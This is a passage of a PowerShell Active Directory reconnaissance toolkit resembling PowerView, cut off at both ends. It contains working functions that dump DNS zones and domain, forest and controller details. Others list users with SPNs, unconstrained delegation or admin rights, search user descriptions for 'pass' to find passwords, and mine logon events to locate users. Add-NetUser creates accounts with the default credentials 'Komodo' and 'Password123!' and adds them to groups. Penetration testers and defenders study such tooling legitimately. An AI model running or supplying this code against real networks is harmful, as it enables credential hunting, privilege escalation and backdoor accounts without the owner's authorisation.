1013 Write-Warning $_
1014 }
1015 }
1016}
1017
1018
1019filter Get-NameField {
1020
1021 [CmdletBinding()]
1022 param(
1023 [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
1024 [Object]
1025 $Object,
1026
1027 [Parameter(ValueFromPipelineByPropertyName = $True)]
1028 [String]
1029 $DnsHostName,
1030
1031 [Parameter(ValueFromPipelineByPropertyName = $True)]
1032 [String]
1033 $Name
1034 )
1035
1036 if($PSBoundParameters['DnsHostName']) {
1037 $DnsHostName
1038 }
1039 elseif($PSBoundParameters['Name']) {
1040 $Name
1041 }
1042 elseif($Object) {
1043 if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
1044
1045 $Object.dnshostname
1046 }
1047 elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
1048
1049 $Object.name
1050 }
1051 else {
1052
1053 $Object
1054 }
1055 }
1056 else {
1057 return $Null
1058 }
1059}
1060
1061
1062function Convert-LDAPProperty {
1063
1064 param(
1065 [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
1066 [ValidateNotNullOrEmpty()]
1067 $Properties
1068 )
1069
1070 $ObjectProperties = @{}
1071
1072 $Properties.PropertyNames | ForEach-Object {
1073 if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
1074
1075 $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
1076 }
1077 elseif($_ -eq "objectguid") {
1078
1079 $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
1080 }
1081 elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
1082
1083 if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
1084
1085 $Temp = $Properties[$_][0]
1086 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1087 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1088 $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
1089 }
1090 else {
1091 $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
1092 }
1093 }
1094 elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
1095
1096 $Prop = $Properties[$_]
1097 try {
1098 $Temp = $Prop[$_][0]
1099 Write-Verbose $_
1100 [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1101 [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
1102 $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
1103 }
1104 catch {
1105 $ObjectProperties[$_] = $Prop[$_]
1106 }
1107 }
1108 elseif($Properties[$_].count -eq 1) {
1109 $ObjectProperties[$_] = $Properties[$_][0]
1110 }
1111 else {
1112 $ObjectProperties[$_] = $Properties[$_]
1113 }
1114 }
1115
1116 New-Object -TypeName PSObject -Property $ObjectProperties
1117}
1118
1119filter Get-DomainSearcher {
1120
1121
1122 param(
1123 [Parameter(ValueFromPipeline=$True)]
1124 [String]
1125 $Domain,
1126
1127 [String]
1128 $DomainController,
1129
1130 [String]
1131 $ADSpath,
1132
1133 [String]
1134 $ADSprefix,
1135
1136 [ValidateRange(1,10000)]
1137 [Int]
1138 $PageSize = 200,
1139
1140 [Management.Automation.PSCredential]
1141 $Credential
1142 )
1143
1144 if(-not $Credential) {
1145 if(-not $Domain) {
1146 $Domain = (Get-NetDomain).name
1147 }
1148 elseif(-not $DomainController) {
1149 try {
1150
1151 $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
1152 }
1153 catch {
1154 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1155 }
1156 }
1157 }
1158 elseif (-not $DomainController) {
1159
1160 try {
1161 $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
1162 }
1163 catch {
1164 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1165 }
1166
1167 if(!$DomainController) {
1168 throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
1169 }
1170 }
1171
1172 $SearchString = "LDAP://"
1173
1174 if($DomainController) {
1175 $SearchString += $DomainController
1176 if($Domain){
1177 $SearchString += '/'
1178 }
1179 }
1180
1181 if($ADSprefix) {
1182 $SearchString += $ADSprefix + ','
1183 }
1184
1185 if($ADSpath) {
1186 if($ADSpath -Match '^GC://') {
1187
1188 $DN = $AdsPath.ToUpper().Trim('/')
1189 $SearchString = ''
1190 }
1191 else {
1192 if($ADSpath -match '^LDAP://') {
1193 if($ADSpath -match "LDAP://.+/.+") {
1194 $SearchString = ''
1195 }
1196 else {
1197 $ADSpath = $ADSpath.Substring(7)
1198 }
1199 }
1200 $DN = $ADSpath
1201 }
1202 }
1203 else {
1204 if($Domain -and ($Domain.Trim() -ne "")) {
1205 $DN = "DC=$($Domain.Replace('.', ',DC='))"
1206 }
1207 }
1208
1209 $SearchString += $DN
1210 Write-Verbose "Get-DomainSearcher search string: $SearchString"
1211
1212 if($Credential) {
1213 Write-Verbose "Using alternate credentials for LDAP connection"
1214 $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1215 $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
1216 }
1217 else {
1218 $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
1219 }
1220
1221 $Searcher.PageSize = $PageSize
1222 $Searcher.CacheResults = $False
1223 $Searcher
1224}
1225
1226
1227filter Convert-DNSRecord {
1228 param(
1229 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
1230 [Byte[]]
1231 $DNSRecord
1232 )
1233 function Get-Name {
1234 [CmdletBinding()]
1235 param(
1236 [Byte[]]
1237 $Raw
1238 )
1239
1240 [Int]$Length = $Raw[0]
1241 [Int]$Segments = $Raw[1]
1242 [Int]$Index = 2
1243 [String]$Name = ""
1244
1245 while ($Segments-- -gt 0)
1246 {
1247 [Int]$SegmentLength = $Raw[$Index++]
1248 while ($SegmentLength-- -gt 0) {
1249 $Name += [Char]$Raw[$Index++]
1250 }
1251 $Name += "."
1252 }
1253 $Name
1254 }
1255
1256 $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
1257 $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
1258 $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
1259
1260 $TTLRaw = $DNSRecord[12..15]
1261
1262 $Null = [array]::Reverse($TTLRaw)
1263 $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
1264
1265 $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
1266 if($Age -ne 0) {
1267 $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
1268 }
1269 else {
1270 $TimeStamp = "[static]"
1271 }
1272
1273 $DNSRecordObject = New-Object PSObject
1274
1275 if($RDataType -eq 1) {
1276 $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
1277 $Data = $IP
1278 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
1279 }
1280
1281 elseif($RDataType -eq 2) {
1282 $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
1283 $Data = $NSName
1284 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
1285 }
1286
1287 elseif($RDataType -eq 5) {
1288 $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
1289 $Data = $Alias
1290 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
1291 }
1292
1293 elseif($RDataType -eq 6) {
1294
1295 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1296 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
1297 }
1298
1299 elseif($RDataType -eq 12) {
1300 $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
1301 $Data = $Ptr
1302 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
1303 }
1304
1305 elseif($RDataType -eq 13) {
1306
1307 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1308 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
1309 }
1310
1311 elseif($RDataType -eq 15) {
1312
1313 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1314 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
1315 }
1316
1317 elseif($RDataType -eq 16) {
1318
1319 [string]$TXT = ""
1320 [int]$SegmentLength = $DNSRecord[24]
1321 $Index = 25
1322 while ($SegmentLength-- -gt 0) {
1323 $TXT += [char]$DNSRecord[$index++]
1324 }
1325
1326 $Data = $TXT
1327 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
1328 }
1329
1330 elseif($RDataType -eq 28) {
1331
1332 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1333 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
1334 }
1335
1336 elseif($RDataType -eq 33) {
1337
1338 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1339 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
1340 }
1341
1342 else {
1343 $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
1344 $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
1345 }
1346
1347 $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
1348 $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
1349 $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
1350 $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
1351 $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
1352 $DNSRecordObject
1353}
1354
1355
1356filter Get-DNSZone {
1357
1358 param(
1359 [Parameter(Position=0, ValueFromPipeline=$True)]
1360 [String]
1361 $Domain,
1362
1363 [String]
1364 $DomainController,
1365
1366 [ValidateRange(1,10000)]
1367 [Int]
1368 $PageSize = 200,
1369
1370 [Management.Automation.PSCredential]
1371 $Credential,
1372
1373 [Switch]
1374 $FullData
1375 )
1376
1377 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential
1378 $DNSSearcher.filter="(objectClass=dnsZone)"
1379
1380 if($DNSSearcher) {
1381 $Results = $DNSSearcher.FindAll()
1382 $Results | Where-Object {$_} | ForEach-Object {
1383
1384 $Properties = Convert-LDAPProperty -Properties $_.Properties
1385 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
1386
1387 if ($FullData) {
1388 $Properties
1389 }
1390 else {
1391 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
1392 }
1393 }
1394 $Results.dispose()
1395 $DNSSearcher.dispose()
1396 }
1397
1398 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "CN=MicrosoftDNS,DC=DomainDnsZones"
1399 $DNSSearcher.filter="(objectClass=dnsZone)"
1400
1401 if($DNSSearcher) {
1402 $Results = $DNSSearcher.FindAll()
1403 $Results | Where-Object {$_} | ForEach-Object {
1404
1405 $Properties = Convert-LDAPProperty -Properties $_.Properties
1406 $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name
1407
1408 if ($FullData) {
1409 $Properties
1410 }
1411 else {
1412 $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged
1413 }
1414 }
1415 $Results.dispose()
1416 $DNSSearcher.dispose()
1417 }
1418}
1419
1420
1421filter Get-DNSRecord {
1422
1423 param(
1424 [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
1425 [String]
1426 $ZoneName,
1427
1428 [String]
1429 $Domain,
1430
1431 [String]
1432 $DomainController,
1433
1434 [ValidateRange(1,10000)]
1435 [Int]
1436 $PageSize = 200,
1437
1438 [Management.Automation.PSCredential]
1439 $Credential
1440 )
1441
1442 $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
1443 $DNSSearcher.filter="(objectClass=dnsNode)"
1444
1445 if($DNSSearcher) {
1446 $Results = $DNSSearcher.FindAll()
1447 $Results | Where-Object {$_} | ForEach-Object {
1448 try {
1449
1450 $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
1451 $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName
1452
1453
1454 if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
1455
1456 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]
1457 }
1458 else {
1459 $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord
1460 }
1461
1462 if($Record) {
1463 $Record.psobject.properties | ForEach-Object {
1464 $Properties | Add-Member NoteProperty $_.Name $_.Value
1465 }
1466 }
1467
1468 $Properties
1469 }
1470 catch {
1471 Write-Warning "ERROR: $_"
1472 $Properties
1473 }
1474 }
1475 $Results.dispose()
1476 $DNSSearcher.dispose()
1477 }
1478}
1479
1480
1481filter Get-NetDomain {
1482
1483
1484 param(
1485 [Parameter(ValueFromPipeline=$True)]
1486 [String]
1487 $Domain,
1488
1489 [Management.Automation.PSCredential]
1490 $Credential
1491 )
1492
1493 if($Credential) {
1494
1495 Write-Verbose "Using alternate credentials for Get-NetDomain"
1496
1497 if(!$Domain) {
1498
1499 $Domain = $Credential.GetNetworkCredential().Domain
1500 Write-Verbose "Extracted domain '$Domain' from -Credential"
1501 }
1502
1503 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1504
1505 try {
1506 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
1507 }
1508 catch {
1509 Write-Verbose "The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
1510 $Null
1511 }
1512 }
1513 elseif($Domain) {
1514 $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
1515 try {
1516 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
1517 }
1518 catch {
1519 Write-Verbose "The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust."
1520 $Null
1521 }
1522 }
1523 else {
1524 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
1525 }
1526}
1527
1528
1529filter Get-NetForest {
1530
1531
1532 param(
1533 [Parameter(ValueFromPipeline=$True)]
1534 [String]
1535 $Forest,
1536
1537 [Management.Automation.PSCredential]
1538 $Credential
1539 )
1540
1541 if($Credential) {
1542
1543 Write-Verbose "Using alternate credentials for Get-NetForest"
1544
1545 if(!$Forest) {
1546
1547 $Forest = $Credential.GetNetworkCredential().Domain
1548 Write-Verbose "Extracted domain '$Forest' from -Credential"
1549 }
1550
1551 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)
1552
1553 try {
1554 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
1555 }
1556 catch {
1557 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid."
1558 $Null
1559 }
1560 }
1561 elseif($Forest) {
1562 $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)
1563 try {
1564 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)
1565 }
1566 catch {
1567 Write-Verbose "The specified forest '$Forest' does not exist, could not be contacted, or there isn't an existing trust."
1568 return $Null
1569 }
1570 }
1571 else {
1572
1573 $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
1574 }
1575
1576 if($ForestObject) {
1577
1578 $ForestSid = (New-Object System.Security.Principal.NTAccount($ForestObject.RootDomain,"krbtgt")).Translate([System.Security.Principal.SecurityIdentifier]).Value
1579 $Parts = $ForestSid -Split "-"
1580 $ForestSid = $Parts[0..$($Parts.length-2)] -join "-"
1581 $ForestObject | Add-Member NoteProperty 'RootDomainSid' $ForestSid
1582 $ForestObject
1583 }
1584}
1585
1586
1587filter Get-NetForestDomain {
1588 param(
1589 [Parameter(ValueFromPipeline=$True)]
1590 [String]
1591 $Forest,
1592
1593 [Management.Automation.PSCredential]
1594 $Credential
1595 )
1596
1597 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
1598
1599 if($ForestObject) {
1600 $ForestObject.Domains
1601 }
1602}
1603
1604
1605filter Get-NetForestCatalog {
1606
1607
1608 param(
1609 [Parameter(ValueFromPipeline=$True)]
1610 [String]
1611 $Forest,
1612
1613 [Management.Automation.PSCredential]
1614 $Credential
1615 )
1616
1617 $ForestObject = Get-NetForest -Forest $Forest -Credential $Credential
1618
1619 if($ForestObject) {
1620 $ForestObject.FindAllGlobalCatalogs()
1621 }
1622}
1623
1624
1625filter Get-NetDomainController {
1626
1627 [CmdletBinding()]
1628 param(
1629 [Parameter(ValueFromPipeline=$True)]
1630 [String]
1631 $Domain,
1632
1633 [String]
1634 $DomainController,
1635
1636 [Switch]
1637 $LDAP,
1638
1639 [Management.Automation.PSCredential]
1640 $Credential
1641 )
1642
1643 if($LDAP -or $DomainController) {
1644
1645 Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter '(userAccountControl:1.2.840.113556.1.4.803:=8192)'
1646 }
1647 else {
1648 $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
1649 if($FoundDomain) {
1650 $Founddomain.DomainControllers
1651 }
1652 }
1653}
1654function Get-NetUser {
1655
1656 param(
1657 [Parameter(Position=0, ValueFromPipeline=$True)]
1658 [String]
1659 $UserName,
1660
1661 [String]
1662 $Domain,
1663
1664 [String]
1665 $DomainController,
1666
1667 [String]
1668 $ADSpath,
1669
1670 [String]
1671 $Filter,
1672
1673 [Switch]
1674 $SPN,
1675
1676 [Switch]
1677 $AdminCount,
1678
1679 [Switch]
1680 $Unconstrained,
1681
1682 [Switch]
1683 $AllowDelegation,
1684
1685 [ValidateRange(1,10000)]
1686 [Int]
1687 $PageSize = 200,
1688
1689 [Management.Automation.PSCredential]
1690 $Credential
1691 )
1692
1693 begin {
1694
1695 $UserSearcher = Get-DomainSearcher -Domain $Domain -ADSpath $ADSpath -DomainController $DomainController -PageSize $PageSize -Credential $Credential
1696 }
1697
1698 process {
1699 if($UserSearcher) {
1700
1701
1702 if($Unconstrained) {
1703 Write-Verbose "Checking for unconstrained delegation"
1704 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
1705 }
1706 if($AllowDelegation) {
1707 Write-Verbose "Checking for users who can be delegated"
1708
1709 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))"
1710 }
1711 if($AdminCount) {
1712 Write-Verbose "Checking for adminCount=1"
1713 $Filter += "(admincount=1)"
1714 }
1715
1716
1717 if($UserName) {
1718
1719 $UserSearcher.filter="(&(samAccountType=805306368)(samAccountName=$UserName)$Filter)"
1720 }
1721 elseif($SPN) {
1722 $UserSearcher.filter="(&(samAccountType=805306368)(servicePrincipalName=*)$Filter)"
1723 }
1724 else {
1725
1726 $UserSearcher.filter="(&(samAccountType=805306368)$Filter)"
1727 }
1728
1729 $Results = $UserSearcher.FindAll()
1730 $Results | Where-Object {$_} | ForEach-Object {
1731
1732 $User = Convert-LDAPProperty -Properties $_.Properties
1733 $User.PSObject.TypeNames.Add('ShaiView.User')
1734 $User
1735 }
1736 $Results.dispose()
1737 $UserSearcher.dispose()
1738 }
1739 }
1740}
1741
1742
1743function Add-NetUser {
1744
1745 [CmdletBinding()]
1746 Param (
1747 [ValidateNotNullOrEmpty()]
1748 [String]
1749 $UserName = 'Komodo',
1750
1751 [ValidateNotNullOrEmpty()]
1752 [String]
1753 $Password = 'Password123!',
1754
1755 [ValidateNotNullOrEmpty()]
1756 [String]
1757 $GroupName,
1758
1759 [ValidateNotNullOrEmpty()]
1760 [Alias('HostName')]
1761 [String]
1762 $ComputerName = 'localhost',
1763
1764 [ValidateNotNullOrEmpty()]
1765 [String]
1766 $Domain
1767 )
1768
1769 if ($Domain) {
1770
1771 $DomainObject = Get-NetDomain -Domain $Domain
1772 if(-not $DomainObject) {
1773 Write-Warning "Error in grabbing $Domain object"
1774 return $Null
1775 }
1776
1777
1778 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
1779
1780
1781
1782 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain), $DomainObject
1783
1784
1785 $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList $Context
1786
1787
1788 $User.Name = $UserName
1789 $User.SamAccountName = $UserName
1790 $User.PasswordNotRequired = $False
1791 $User.SetPassword($Password)
1792 $User.Enabled = $True
1793
1794 Write-Verbose "Creating user $UserName to with password '$Password' in domain $Domain"
1795
1796 try {
1797
1798 $User.Save()
1799 "[*] User $UserName successfully created in domain $Domain"
1800 }
1801 catch {
1802 Write-Warning '[!] User already exists!'
1803 return
1804 }
1805 }
1806 else {
1807
1808 Write-Verbose "Creating user $UserName to with password '$Password' on $ComputerName"
1809
1810
1811 $ObjOu = [ADSI]"WinNT://$ComputerName"
1812 $ObjUser = $ObjOu.Create('User', $UserName)
1813 $ObjUser.SetPassword($Password)
1814
1815
1816 try {
1817 $Null = $ObjUser.SetInfo()
1818 "[*] User $UserName successfully created on host $ComputerName"
1819 }
1820 catch {
1821 Write-Warning '[!] Account already exists!'
1822 return
1823 }
1824 }
1825
1826
1827 if ($GroupName) {
1828
1829 if ($Domain) {
1830 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -Domain $Domain
1831 "[*] User $UserName successfully added to group $GroupName in domain $Domain"
1832 }
1833
1834 else {
1835 Add-NetGroupUser -UserName $UserName -GroupName $GroupName -ComputerName $ComputerName
1836 "[*] User $UserName successfully added to group $GroupName on host $ComputerName"
1837 }
1838 }
1839}
1840
1841
1842function Add-NetGroupUser {
1843
1844 [CmdletBinding()]
1845 param(
1846 [Parameter(Mandatory = $True)]
1847 [ValidateNotNullOrEmpty()]
1848 [String]
1849 $UserName,
1850
1851 [Parameter(Mandatory = $True)]
1852 [ValidateNotNullOrEmpty()]
1853 [String]
1854 $GroupName,
1855
1856 [ValidateNotNullOrEmpty()]
1857 [Alias('HostName')]
1858 [String]
1859 $ComputerName,
1860
1861 [String]
1862 $Domain
1863 )
1864
1865
1866 Add-Type -AssemblyName System.DirectoryServices.AccountManagement
1867
1868
1869 if($ComputerName -and ($ComputerName -ne "localhost")) {
1870 try {
1871 Write-Verbose "Adding user $UserName to $GroupName on host $ComputerName"
1872 ([ADSI]"WinNT://$ComputerName/$GroupName,group").add("WinNT://$ComputerName/$UserName,user")
1873 "[*] User $UserName successfully added to group $GroupName on $ComputerName"
1874 }
1875 catch {
1876 Write-Warning "[!] Error adding user $UserName to group $GroupName on $ComputerName"
1877 return
1878 }
1879 }
1880
1881
1882 else {
1883 try {
1884 if ($Domain) {
1885 Write-Verbose "Adding user $UserName to $GroupName on domain $Domain"
1886 $CT = [System.DirectoryServices.AccountManagement.ContextType]::Domain
1887 $DomainObject = Get-NetDomain -Domain $Domain
1888 if(-not $DomainObject) {
1889 return $Null
1890 }
1891
1892 $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList $CT, $DomainObject
1893 }
1894 else {
1895
1896 Write-Verbose "Adding user $UserName to $GroupName on localhost"
1897 $Context = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Env:ComputerName)
1898 }
1899
1900
1901 $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($Context,$GroupName)
1902
1903
1904 $Group.Members.add($Context, [System.DirectoryServices.AccountManagement.IdentityType]::SamAccountName, $UserName)
1905
1906
1907 $Group.Save()
1908 }
1909 catch {
1910 Write-Warning "Error adding $UserName to $GroupName : $_"
1911 }
1912 }
1913}
1914
1915
1916function Get-UserProperty {
1917
1918
1919 [CmdletBinding()]
1920 param(
1921 [String[]]
1922 $Properties,
1923
1924 [String]
1925 $Domain,
1926
1927 [String]
1928 $DomainController,
1929
1930 [ValidateRange(1,10000)]
1931 [Int]
1932 $PageSize = 200,
1933
1934 [Management.Automation.PSCredential]
1935 $Credential
1936 )
1937
1938 if($Properties) {
1939
1940 $Properties = ,"name" + $Properties
1941 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -Property $Properties
1942 }
1943 else {
1944
1945 Get-NetUser -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential | Select-Object -First 1 | Get-Member -MemberType *Property | Select-Object -Property 'Name'
1946 }
1947}
1948
1949
1950filter Find-UserField {
1951
1952
1953 [CmdletBinding()]
1954 param(
1955 [Parameter(Position=0,ValueFromPipeline=$True)]
1956 [String]
1957 $SearchTerm = 'pass',
1958
1959 [String]
1960 $SearchField = 'description',
1961
1962 [String]
1963 $ADSpath,
1964
1965 [String]
1966 $Domain,
1967
1968 [String]
1969 $DomainController,
1970
1971 [ValidateRange(1,10000)]
1972 [Int]
1973 $PageSize = 200,
1974
1975 [Management.Automation.PSCredential]
1976 $Credential
1977 )
1978
1979 Get-NetUser -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
1980}
1981
1982
1983filter Get-UserEvent {
1984
1985
1986 Param(
1987 [Parameter(ValueFromPipeline=$True)]
1988 [String]
1989 $ComputerName = $Env:ComputerName,
1990
1991 [String]
1992 [ValidateSet("logon","tgt","all")]
1993 $EventType = "logon",
1994
1995 [DateTime]
1996 $DateStart = [DateTime]::Today.AddDays(-5),
1997
1998 [Management.Automation.PSCredential]
1999 $Credential
2000 )
2001
2002 if($EventType.ToLower() -like "logon") {
2003 [Int32[]]$ID = @(4624)
2004 }
2005 elseif($EventType.ToLower() -like "tgt") {
2006 [Int32[]]$ID = @(4768)
2007 }
2008 else {
2009 [Int32[]]$ID = @(4624, 4768)
2010 }
2011
2012 if($Credential) {
2013 Write-Verbose "Using alternative credentials"
2014 $Arguments = @{
2015 'ComputerName' = $ComputerName;
2016 'Credential' = $Credential;
2017 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
2018 'ErrorAction' = 'SilentlyContinue';
2019 }
2020 }
2021 else {
2022 $Arguments = @{
2023 'ComputerName' = $ComputerName;
2024 'FilterHashTable' = @{ LogName = 'Security'; ID=$ID; StartTime=$DateStart};
2025 'ErrorAction' = 'SilentlyContinue';
2026 }
2027 }
2028
2029
2030 Get-WinEvent @Arguments | ForEach-Object {
2031
2032 if($ID -contains 4624) {
2033
2034 if($_.message -match '(?s)(?<=Logon Type:).*?(?=(Impersonation Level:|New Logon:))') {
2035 if($Matches) {
2036 $LogonType = $Matches[0].trim()
2037 $Matches = $Null
2038 }
2039 }
2040 else {
2041 $LogonType = ""
2042 }
2043
2044
2045 if (($LogonType -eq 2) -or ($LogonType -eq 3)) {
2046 try {
2047
2048 if($_.message -match '(?s)(?<=New Logon:).*?(?=Process Information:)') {
2049 if($Matches) {
2050 $UserName = $Matches[0].split("`n")[2].split(":")[1].trim()
2051 $Domain = $Matches[0].split("`n")[3].split(":")[1].trim()
2052 $Matches = $Null
2053 }
2054 }
2055 if($_.message -match '(?s)(?<=Network Information:).*?(?=Source Port:)') {
2056 if($Matches) {
2057 $Address = $Matches[0].split("`n")[2].split(":")[1].trim()
2058 $Matches = $Null
2059 }
2060 }
2061
2062
2063 if ($UserName -and (-not $UserName.endsWith('$')) -and ($UserName -ne 'ANONYMOUS LOGON')) {
2064 $LogonEventProperties = @{
2065 'Domain' = $Domain
2066 'ComputerName' = $ComputerName
2067 'Username' = $UserName
2068 'Address' = $Address
2069 'ID' = '4624'
2070 'LogonType' = $LogonType
2071 'Time' = $_.TimeCreated
2072 }
2073 New-Object -TypeName PSObject -Property $LogonEventProperties
2074 }
2075 }
2076 catch {
2077 Write-Verbose "Error parsing event logs: $_"
2078 }
2079 }
2080 }
2081 if($ID -contains 4768) {
2082
2083 try {
2084 if($_.message -match '(?s)(?<=Account Information:).*?(?=Service Information:)') {
2085 if($Matches) {
2086 $Username = $Matches[0].split("`n")[1].split(":")[1].trim()
2087 $Domain = $Matches[0].split("`n")[2].split(":")[1].trim()
2088 $Matches = $Null
2089 }
2090 }
2091
2092 if($_.message -match '(?s)(?<=Network Information:).*?(?=Additional Information:)') {
2093 if($Matches) {
2094 $Address = $Matches[0].split("`n")[1].split(":")[-1].trim()
2095 $Matches = $Null
2096 }
2097 }
2098
2099 $LogonEventProperties = @{
2100 'Domain' = $Domain
2101 'ComputerName' = $ComputerName
2102 'Username' = $UserName
2103 'Address' = $Address
